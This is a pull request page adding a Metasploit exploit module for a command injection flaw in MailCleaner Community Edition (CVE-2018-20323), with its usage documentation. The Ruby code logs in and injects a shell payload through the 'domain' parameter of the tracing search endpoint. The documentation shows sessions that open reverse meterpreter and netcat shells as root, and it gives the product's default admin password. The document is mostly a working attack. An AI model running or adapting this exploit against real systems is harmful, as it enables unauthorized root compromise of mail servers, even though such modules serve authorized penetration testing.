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Adding Module MailCleaner Remote Code Execution Module #11148

Merged
merged 9 commits into from Jan 8, 2019
85 changes: 85 additions & 0 deletions documentation/modules/exploit/linux/http/mailcleaner_exec.md
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## Description

This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root.

### Vulnerable Application
You can download ISO file from following URL.
[https://www.mailcleaner.org/latest-downloads/](https://www.mailcleaner.org/latest-downloads/)

At the time of this writing all the passwords of users such as root or admin user was "MCPassw0rd".

## Verification Steps

A successful check of the exploit will look like this:

1. Start `msfconsole`
2. `use use exploit/linux/http/mailcleaner`
3. Set `RHOST`
4. Set `LHOST`
5. Set `USERNAME`
6. Set `PASSWORD`
7. Run `exploit`
8. **Verify** that you are seeing ` Awesome..! Authenticated`.
9. **Verify** that you are getting `meterpreter` session.

## Scenarios

```
msf5 > use exploit/linux/http/mailcleaner_exec
msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100
RHOSTS => 12.0.0.100
msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin
USERNAME => admin
msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD <password>
PASSWORD => qwe123
msf5 exploit(linux/http/mailcleaner_exec) > run

[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Performing authentication...
[+] Awesome..! Authenticated with admin:<password>
[*] Exploiting command injection flaw
[*] Sending stage (53508 bytes) to 12.0.0.100
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.100:44974) at 2018-12-19 17:24:44 +0300
[*] Sending stage (53508 bytes) to 12.0.0.100
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.100:44975) at 2018-12-19 17:24:45 +0300

meterpreter >
```

You can also use cmd payloads.

```
msf5 > use exploit/linux/http/mailcleaner_exec
msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100
RHOSTS => 12.0.0.100
msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin
USERNAME => admin
msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD <password>
msf5 exploit(linux/http/mailcleaner_exec) > set target 1
msf5 exploit(linux/http/mailcleaner_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf5 exploit(linux/http/mailcleaner_exec) > run

[*] Started reverse TCP double handler on 12.0.0.1:4444
[*] Performing authentication...
[+] Awesome..! Authenticated with admin:MCPassw0rd
[*] Exploiting command injection flaw
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo P6zixt2asYXZ29NE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "P6zixt2asYXZ29NE\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (12.0.0.1:4444 -> 12.0.0.100:53996) at 2018-12-20 12:09:32 +0300

id
uid=0(root) gid=1003(mailcleaner) groups=1003(mailcleaner)
```
141 changes: 141 additions & 0 deletions modules/exploits/linux/http/mailcleaner_exec.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Mailcleaner Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an
operating system command under the context of the web server user which is root.

/admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],
['CVE', '2018-20323']
],
'DefaultOptions' =>
{
'SSL' => true,
'WfsDelay' => 5,
},
'Platform' => ['python', 'unix'],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Targets' =>
[
['Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
}
],
['Command payload',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {'BadChars' => "\x26"},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
]
)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def auth
print_status('Performing authentication...')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin/')
})

if res && !res.get_cookies.empty?
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cookie = res.get_cookies
else
fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')
end

# Performing authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin/'),
'cookie' => cookie,
'vars_post' => {
'username' => username,
'password' => password,
'submit' => 'Log+in'
}
})

if res && res.code == 302
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print_good("Awesome..! Authenticated with #{username}:#{password}")
else
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end

cookie
end

def exploit
cookie = auth

if cookie.nil?
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fail_with(Failure::Unknown, 'Something went wrong!')
end

print_status('Exploiting command injection flaw')

if target['Arch'] == ARCH_PYTHON
cmd = "';$(python -c \"#{payload.encoded}\");#"
else
cmd = "';#{payload.encoded};#"
end

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),
'cookie' => cookie,
'vars_post' => {
'search' => rand_text_alpha(5),
'domain' => cmd,
'submit' => 1
}
})

end
end